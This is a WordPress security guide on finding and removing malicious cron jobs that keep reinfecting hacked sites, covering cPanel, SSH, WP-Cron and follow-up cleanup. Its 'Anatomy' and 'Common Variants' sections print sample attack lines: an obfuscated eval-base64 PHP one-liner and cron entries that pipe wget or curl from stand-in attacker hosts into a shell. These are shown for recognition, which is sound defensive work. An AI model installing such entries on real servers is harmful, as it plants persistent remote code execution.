Hidden Cron Job Malware in WordPress: Find & Remove It (2026)

You delete the infected file. Five minutes later, it’s back. You delete it again. Hours later, the same malware reappears with a different filename. Your site is being reinfected automatically — and the most common cause is a malicious cron job.

A cron job is just a scheduled task on your server. Legitimate sites use them all the time (running backups, sending scheduled emails, clearing caches). But attackers also use them as their insurance policy against your cleanup attempts. They install a hidden cron job that re-downloads or re-creates the malware automatically — every minute, every hour, every day — for as long as it stays on your server.

After cleaning 4,500+ hacked WordPress sites, I find malicious cron jobs are responsible for the majority of “malware keeps coming back” cases. This guide walks through exactly how to find and kill them, whether you’re on cPanel, a VPS, or managed hosting.

What Is a Cron Job and How Hackers Abuse It

A cron job is a task your server runs automatically on a schedule. Every modern web server supports cron — it’s built into Linux/Unix and exposed through tools like cPanel’s Cron Jobs section.

Legitimate examples on a WordPress site:

• UpdraftPlus running daily backups at 3 AM
• WordPress core checking for plugin updates
• Caching plugins clearing expired cache files
• SEO plugins regenerating sitemaps
• Email plugins sending newsletters at scheduled times

The cron syntax looks like this:

* * * * * /path/to/command

The five asterisks represent minute, hour, day-of-month, month, day-of-week. Five asterisks means “run every minute of every hour of every day forever.” That extreme frequency is exactly what attackers want — instant reinfection the moment you clean their malware.

How a Malicious Cron Job Gets There in the First Place

Attackers can’t just add a cron job to a server they don’t have access to. The cron job is never the first step of a hack — it’s added after the attacker has already gained some access. The typical infection sequence:

1. Initial breach — Attacker exploits an outdated plugin, weak password, vulnerable theme, or compromised credentials to get into the site
2. Backdoor upload — They upload a webshell — often disguised with an innocent name like wp-check.php, cache.php, or hidden inside /wp-includes/. This webshell gives them ongoing command-line access to your server
3. Cron job installation — Through the webshell, they execute the command needed to install a cron job. The cron job becomes their persistence mechanism
4. Payload execution — The cron job runs on schedule, re-downloading malware from a remote URL, recreating backdoor files, or restoring spam content

This is why standard cleanup fails so often. You find and delete one backdoor, feeling like you’ve solved it. But the cron job is sitting silently in the background, ready to re-download a fresh copy of the malware the moment your cleanup is complete.

For more on how the initial breach typically happens, see how hackers hide backdoors in WordPress.

Anatomy of a Real Malicious Cron Job

Here’s an actual malicious cron command I’ve found on multiple client sites. Understanding how it works helps you recognize variants:

* * * * * /usr/local/bin/php -r 'eval(gzinflate(base64_decode("jVJrb6JAFP3ur2YUqcQGbatYaWxqfaa1...")));'

[Screenshot: cPanel Cron Jobs interface showing the malicious entry highlighted]

Let’s break down what makes this dangerous and how to spot variants:

The Three Layers of Obfuscation

Attackers use three layers to hide the actual malicious code from casual inspection and from basic security scanners:

Layer	Function	What It Does
1. Base64 Encoding	base64_decode()	Makes malicious code look like random text characters
2. Compression	gzinflate()	Compresses the encoded data, hiding it further from signature scanners
3. Code Execution	eval()	Tells PHP to execute the decoded, decompressed code as if it were normal PHP

The combination eval(gzinflate(base64_decode(...))) is the classic “PHP malware obfuscation triple play.” If you see this pattern anywhere on your server — in cron jobs, in PHP files, in database options — it’s almost certainly malicious.

The Schedule: * * * * *

That five-asterisk schedule means “run every minute”. Attackers use this aggressive timing because it ensures the malware reappears almost instantly after you delete it. By the time you finish cleaning a file, the cron job has already restored it.

Other schedules to recognize:

• */5 * * * * — every 5 minutes
• 0 * * * * — every hour at minute 0
• 0 */6 * * * — every 6 hours
• 0 3 * * * — every day at 3 AM (when traffic is low)

Common Variants You’ll See

Attackers vary the pattern, but the core obfuscation stays similar:

# Variant 1: Direct PHP execution
* * * * * php -r 'eval(base64_decode("..."));'

# Variant 2: wget downloading remote payload
* * * * * wget -q -O - http://attacker.com/payload.txt | bash

# Variant 3: curl-based reinfection
*/10 * * * * curl -s http://malicious.xyz/install.sh | sh

# Variant 4: Python (less common)
* * * * * python -c "import urllib.request;exec(urllib.request.urlopen('http://...').read())"

# Variant 5: Hidden in a "legitimate" path
* * * * * /var/www/html/wp-content/.cache/update.php

Any cron job that downloads from an external URL, executes encoded data, or runs from suspicious paths inside your WordPress installation should be considered malicious until proven otherwise.

Method 1: Find and Remove Malicious Cron Jobs in cPanel

cPanel hosts (most shared hosting — Bluehost, HostGator, GoDaddy cPanel plans, SiteGround, etc.) make this relatively straightforward.

Step-by-Step cPanel Removal

1. Log in to your cPanel account
2. Scroll to the Advanced section (sometimes called “Tools”)
3. Click Cron Jobs
4. Scroll to the Current Cron Jobs table at the bottom of the page
5. Examine every entry carefully. Look for any of these red flags:
   • Commands containing eval, base64_decode, gzinflate, str_rot13
   • Commands downloading from external URLs (wget http://..., curl http://...)
   • Commands you don’t recognize and didn’t create
   • Commands running every minute (* * * * *) — almost always malicious unless you specifically set up a high-frequency monitor
   • Commands pointing to suspicious paths inside /wp-content/
   • Commands with extremely long obfuscated arguments
6. Click the Delete button next to each malicious entry
7. Confirm deletion when prompted

What Legitimate Cron Jobs Look Like

For comparison, legitimate cron jobs are usually clear and readable:

# WordPress real cron (sometimes set up to replace WP-Cron)
*/5 * * * * /usr/bin/php /home/username/public_html/wp-cron.php

# UpdraftPlus or backup plugin
0 3 * * * /home/username/public_html/wp-content/plugins/updraftplus/cron.php

# Plain WordPress wp-cron via wget
*/15 * * * * wget -q -O - https://yourdomain.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1

The key distinction: legitimate cron jobs reference clear, readable file paths within your own site. Malicious ones use obfuscated commands or external URLs.

Method 2: Find Malicious Cron Jobs via SSH (VPS, Cloud, Dedicated)

If you’re on a VPS, cloud server, or dedicated host, you’ll need terminal access via SSH. This method is also more thorough because you can check cron jobs for multiple users — something cPanel doesn’t show.

Check Your User’s Cron Jobs

1. Connect to your server via SSH using your terminal or a tool like PuTTY
2. Run this command to list your current user’s cron jobs:

crontab -l

[Screenshot: terminal output showing crontab listing]

Review the output carefully for the same red flags from Method 1.

Edit and Remove Malicious Entries

If you find malicious entries, edit your crontab to remove them:

crontab -e

This opens your crontab in a text editor (usually nano or vi). Use arrow keys to navigate to the malicious line, delete the entire line, then save:

• nano: Ctrl+O to save, Enter to confirm, Ctrl+X to exit
• vi/vim: Press i to enter edit mode, delete the line, press Escape, type :wq to save and exit

The Critical Step Most People Miss: Check Other Users

Sophisticated attackers often hide cron jobs under different system users — not your main user account. The web server user (www-data, apache, or nginx) is a common hiding spot because that’s the user PHP runs as.

Run these commands (requires sudo/root access):

# Check root's cron jobs
sudo crontab -l

# Check the web server user's cron jobs (varies by OS)
sudo crontab -u www-data -l    # Debian/Ubuntu
sudo crontab -u apache -l      # CentOS/RHEL
sudo crontab -u nginx -l       # Nginx-based systems

# List ALL users with cron jobs on the system
sudo ls -la /var/spool/cron/crontabs/    # Ubuntu/Debian
sudo ls -la /var/spool/cron/             # CentOS/RHEL

# Check system-wide cron files
sudo cat /etc/crontab
sudo ls -la /etc/cron.d/
sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

Examine each location for suspicious entries. Attackers sometimes drop cron files into /etc/cron.d/ with innocent-looking names like php-update or wp-cache-clear.

Method 3: Audit WP-Cron (WordPress Internal Scheduler)

WordPress has its own internal scheduler called WP-Cron. Unlike server-level cron jobs, WP-Cron events are stored in your WordPress database and run when someone visits your site. Attackers can hijack WP-Cron just as easily as server cron.

Inspect WP-Cron with WP Crontrol Plugin

1. Install the free WP Crontrol plugin from WordPress.org
2. Activate it
3. Go to Tools → Cron Events
4. Review every scheduled event listed

What to look for:

• Hooks with random names — Something like wp_xyz_update or hex-string hooks like _0x4a2b
• Hooks pointing to functions you don’t recognize — Especially in unfamiliar plugin files
• Events with extremely high frequency — Multiple times per hour for tasks that shouldn’t be that frequent
• Hooks from plugins you’ve already deleted — Sometimes orphaned cron events keep running malicious code

Check WP-Cron via WP-CLI (Advanced)

If you have WP-CLI access, this is faster:

# List all scheduled cron events
wp cron event list

# List all registered cron hooks
wp cron schedule list

# Delete a suspicious cron event
wp cron event delete suspicious_hook_name

Check WP-Cron Directly in the Database

WP-Cron data is stored in wp_options as a serialized array under the option name cron. In phpMyAdmin:

1. Open your database
2. Browse the wp_options table
3. Search for option_name = cron
4. Examine the option_value for unfamiliar function names or suspicious URLs

What to Do Immediately After Removing the Cron Job

Deleting the malicious cron job stops the reinfection from happening. But the site is still infected — the cron job was just preventing your previous cleanups from sticking. Now the cleanup will actually hold.

Step 1: Run a Full Malware Scan

Now that the re-infector is gone, scan with:

• Wordfence — Find infected files
• Sucuri SiteCheck (sitecheck.sucuri.net) — External malware detection
• VirusTotal — Multi-vendor blacklist check

Step 2: Clean All Infected Files

Work through your scanner’s findings. With the cron job gone, deleted files will stay deleted. For comprehensive cleanup, see my expert guide to clean hacked WordPress sites.

Step 3: Find the Original Backdoor That Installed the Cron

Remember: the cron job was added through a backdoor. That backdoor is probably still on your server. Hunt for it:

• Check /wp-content/uploads/ for any PHP files (none should exist there)
• Check /wp-content/mu-plugins/ for unauthorized files
• Look for files modified around the same time the cron job was created
• Search PHP files for eval(base64_decode( patterns

Run these commands via SSH:

# Find PHP files in uploads (red flag)
find ./wp-content/uploads/ -name "*.php"

# Find files containing malware patterns
grep -rnw './wp-content/' -e 'eval(' --include="*.php"
grep -rnw './wp-content/' -e 'gzinflate(' --include="*.php"

# Find recently modified PHP files
find ./wp-content/ -name "*.php" -mtime -30 -ls

Step 4: Change Every Password

• Hosting/cPanel password
• All WordPress admin passwords
• FTP/SFTP/SSH credentials
• Database password (update wp-config.php after)
• Email accounts that can reset other passwords

Step 5: Reset WordPress Salts

Generate new salts at api.wordpress.org/secret-key/1.1/salt and replace the matching values in wp-config.php. This invalidates all active sessions, including any hacker sessions.

Step 6: Update Everything

WordPress core, every plugin, every theme. Remove unused plugins and themes. The original entry point was probably an outdated component — patching is essential.

Step 7: Harden Against Future Cron Injections

• Add define('DISALLOW_FILE_EDIT', true); to wp-config.php (see my wp-config security constants guide)
• Enable two-factor authentication (2FA setup guide)
• Hide your login URL (change login URL guide)
• Install a security plugin for ongoing monitoring (Wordfence vs Sucuri)
• Set up off-site backups (UpdraftPlus guide)

Why Cron-Based Reinfection Is So Common

Three reasons cron job malware is so prevalent:

1. Most site owners don’t know to look for it. They focus on PHP files and ignore the cron tab entirely. Even most security plugins don’t actively monitor cron job changes.
2. Modifying cron is easy with shell access. Once an attacker has any code execution on your server, adding a cron job is a single command. It’s the lowest-effort persistence mechanism available.
3. Cron jobs survive most cleanups. Even thorough file cleanups and database scrubs miss cron because cron lives in a different system entirely (the OS-level scheduler, not WordPress files or the database).

This is why malicious cron jobs cause more reinfections than any other persistence mechanism in my experience. If WordPress malware keeps coming back, cron is always my first check.

For other reinfection causes (hidden admin users, ghost plugins, database malware, sibling site infections), see my master guide on why WordPress malware keeps coming back.

Real Case: How Cron Jobs Sustained 12,000 Spam Posts

One of the most dramatic cron job cases I’ve worked on: a client’s WordPress site had been compromised for months. Every time they cleaned up the spam casino posts (sometimes thousands at a time), they’d reappear within 24 hours. Wordfence reported the site clean. The hosting provider couldn’t find the issue.

The culprit: a malicious cron job running every hour, calling a remote URL that returned fresh batches of casino spam content. Removing the cron job — combined with cleaning the existing spam — finally stopped the cycle.

Read the full breakdown: how I removed 12,000 casino gambling posts and stopped cron job malware.

FAQ: Cron Job Malware

How do I know if my WordPress malware is from a cron job?

The biggest tell is timing. If malware reappears at predictable intervals — every minute, every hour, every day at the same time — it’s almost certainly a scheduled task. Cron-based reinfection is also faster than other reinfection types: the malware comes back within minutes of deletion, not days. If reinfection happens unpredictably, it’s more likely a backdoor file or hidden admin user.

Where do hackers usually hide cron jobs?

The most common locations: cPanel Cron Jobs section (most shared hosting), the system-level crontab via crontab -e (your user), the web server user’s crontab via sudo crontab -u www-data -l, system-wide cron files in /etc/cron.d/, and WordPress’s internal WP-Cron stored in the wp_options database table. Sophisticated attacks may use multiple locations simultaneously.

Can security plugins detect malicious cron jobs?

Generally no. Most WordPress security plugins (Wordfence, Sucuri, MalCare) scan files and database content but don’t inspect server-level cron jobs. Some monitor WP-Cron events for unfamiliar hooks, but most don’t actively flag suspicious cron entries. This is why manual cron auditing is essential when malware keeps coming back.

Will deleting the cron job fix my hacked site completely?

No — it stops the reinfection cycle but doesn’t remove existing malware. After deleting the cron job, you still need to scan for and remove infected files, find the original backdoor that allowed cron installation, change all passwords, and update your software. The cron job removal is one critical step in a larger cleanup process.

What does eval(gzinflate(base64_decode())) mean in a cron command?

It’s a three-layer obfuscation pattern. base64_decode converts encoded text back to binary data, gzinflate decompresses that data, and eval executes the decompressed code as PHP. This combination is almost exclusively used by malware to hide malicious code from inspection. If you see this pattern in a cron job (or anywhere else on your server), assume it’s malicious.

Can I just disable WP-Cron entirely to prevent this?

You can disable WP-Cron by adding define('DISABLE_WP_CRON', true); to wp-config.php, then setting up a real server cron job to call wp-cron.php. This actually improves performance and security because legitimate WordPress tasks run more reliably. However, it doesn’t prevent server-level cron job attacks — those happen through the OS scheduler, not WordPress.

How do attackers add cron jobs without my knowledge?

They don’t add cron jobs as the first step — that requires existing access. The sequence is: (1) attacker exploits a vulnerability or steals credentials to get initial access, (2) uploads a backdoor file (webshell), (3) uses the webshell to execute the cron-installation command. The cron job is their persistence layer, not their entry point. Find and patch the original entry point or they’ll just re-add the cron later.

What if I can’t find any malicious cron jobs but malware still keeps coming back?

If cron is clean, the persistence mechanism is one of the other 7 causes I cover in my comprehensive reinfection guide — backdoor files, hidden admin users, modified core files, database injections, infected sibling sites on the same hosting account, unrotated credentials, or unpatched original vulnerabilities. Work through each systematically.

Will my hosting provider help find malicious cron jobs?

Most shared hosts (Bluehost, GoDaddy, HostGator) won’t actively investigate cron jobs for you, but they will give you cPanel access to inspect them yourself. Some managed hosts (Kinsta, WP Engine) handle cron at the platform level and may block obvious malicious entries. For comprehensive cleanup, you usually need security expertise that goes beyond standard hosting support.

Get Help Removing Cron Job Malware

Cron job malware is technically simple to remove once you know what to look for, but finding all the persistence layers (cron job + backdoors + original entry point) is what makes a cleanup actually stick. If you’ve identified a malicious cron job but can’t find the backdoor that installed it, or if removing the cron job doesn’t stop reinfection, you’re missing something deeper.

This is exactly the type of investigation I run on every paid cleanup. I work through cron jobs first (server-level and WP-Cron), find every backdoor that could re-install cron, identify and patch the original entry point, and harden against future cron-based attacks.

For broader reinfection scenarios beyond cron jobs, see my master guide on why WordPress malware keeps coming back and how to stop it forever. If your site is also blacklisted, pair cleanup with my Google blacklist removal service.

---

About the author: Md Pabel is a WordPress security specialist with 7+ years of experience. He has personally cleaned over 4,500 hacked WordPress sites and specializes in finding persistence mechanisms that defeat standard cleanup attempts. Real-world malware analysis at mdpabel.com.